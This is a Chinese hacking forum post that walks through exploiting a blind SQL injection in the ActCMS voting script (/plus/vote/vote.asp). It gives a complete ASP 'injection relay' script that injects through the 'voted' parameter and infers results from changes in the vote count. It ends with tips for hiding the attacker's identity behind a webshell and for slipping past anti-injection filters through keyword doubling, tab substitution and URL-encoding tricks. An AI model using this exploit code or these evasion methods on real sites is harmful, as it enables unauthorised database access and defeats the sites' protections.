admin 发表于 2012-11-6 21:13:20

注入中转的高级应用,actcms漏洞以及其他


看到ninty大牛的blog的一篇文章
链接标记http://www.forjj.com/?action=show&id=80
关于actcms漏洞的利用by 3x qq:381862589
转载请注明以上
漏洞文件:
/plus/vote/vote.asp
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   

2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   

3    response.end   

4    end if   

5    for i=1 to request("voted").count   

6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   

7    next   

8....   

9response.Redirect "index.asp?id="&id&""   
投票结束回跳转回index.asp这个投票结果页面
如果投票成功票数加1
            失败票数不变
如图:
http://www.t00ls.net/images/default/attachimg.gifhttp://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)

2009-12-27 13:20

利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了

本帖隐藏的内容需要回复才可以浏览
我们用注入中转来实现这个注入具体代码如下:
先用寂寞的刺猬大牛的注入中转生成jmget.asp
注入地址:http://localhost/actcms/plus/vote/vote.asp
注入键值:id=1&voted=-1 or 1=                                          '这里这样换的话就有学问了,不用去判断有什么投票选项

然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%

02JmdcwName=request("jmdcw")

03' 注入中转站 GET 版,BY 寂寞的刺猬

04JmStr="id=1&voted=-1 or 1="&JmdcwName

05JmStr=URLEncoding(JmStr)

06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"

07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"

08testurl=testurl & "?" & JmStr

09JMUrl=JMUrl & "?" & JmStr

10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"

11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"

12JmCok=replace(JmCok,chr(32),"%20")

13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数

14

15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票

16

17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录

18response.write test1&""&test2&""

19

20if test1=test2 then '如前后记录相等,表示失败

21response.write "failed"

22else

23response.write "succeed"

24end if

25

26response.write "by 3x"

27

28

29Function PostData(PostUrl,PostStr,PostCok,PostRef)   

30Dim Http

31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")

32With Http

33

34.Open "GET",PostUrl,False

35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"

36.SetRequestHeader "Referer",PostRef

37.SetRequestHeader "Cookie",PostCok

38.Send ()

39PostData = .ResponseBody

40End With

41Set Http = Nothing

42PostData =bytes2BSTR(PostData)

43End Function

44

45

46Function bytes2BSTR(vIn)

47Dim strReturn

48Dim I, ThisCharCode, NextCharCode

49strReturn = ""

50For I = 1 To LenB(vIn)

51ThisCharCode = AscB(MidB(vIn, I, 1))

52If ThisCharCode < &H80 Then

53strReturn = strReturn & Chr(ThisCharCode)

54Else

55NextCharCode = AscB(MidB(vIn, I + 1, 1))

56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))

57I = I + 1

58End If

59Next

60bytes2BSTR = strReturn

61End Function

62

63Function URLEncoding(vstrin)

64strReturn=""

65Dim i

66For i=1 To Len(vstrin)

67ThisChr=Mid(vstrin,i,1)

68if Abs(Asc(ThisChr))< &HFF Then

69strReturn=strReturn & ThisChr

70Else

71InnerCode=Asc(ThisChr)

72If InnerCode<0 Then

73InnerCode=InnerCode + &H10000

74End If

75Hight1=(InnerCode And &HFF00) \&HFF

76Low1=InnerCode And &HFF

77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)

78End if

79Next

80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20

81strReturn=Replace(strReturn,chr(43),"%2B")'JMDCW增加转换+字符

82'strReturn=Replace(strReturn,过滤字符,"转换为字符")'在此增加要过滤的代码

83URLEncoding=strReturn

84End Function

85

86function getSt(body)

87startpot=instr(body,"投票人数:")+len("投票人数:")

88endpot=instr(startpot,body," ")

89getSt=mid(body,startpot,endpot-startpot)

90end function

91%>
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
测试下效果:
投票成功:
http://www.t00ls.net/images/default/attachimg.gifhttp://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)

2009-12-27 13:29
投票失败
http://www.t00ls.net/images/default/attachimg.gifhttp://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)

2009-12-27 13:29
-------------------------------------------------------------------------------
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
很抱歉。。。只能用单线程工具去注入。。。。。
所以失败。。。不好意思。。。
-------------------------------------------------------------------------------

注入中转的一些其他应用
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
2.post注入转成get型的注入,方便我们使用工具来跑
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过

页: [1]
查看完整版本: 注入中转的高级应用,actcms漏洞以及其他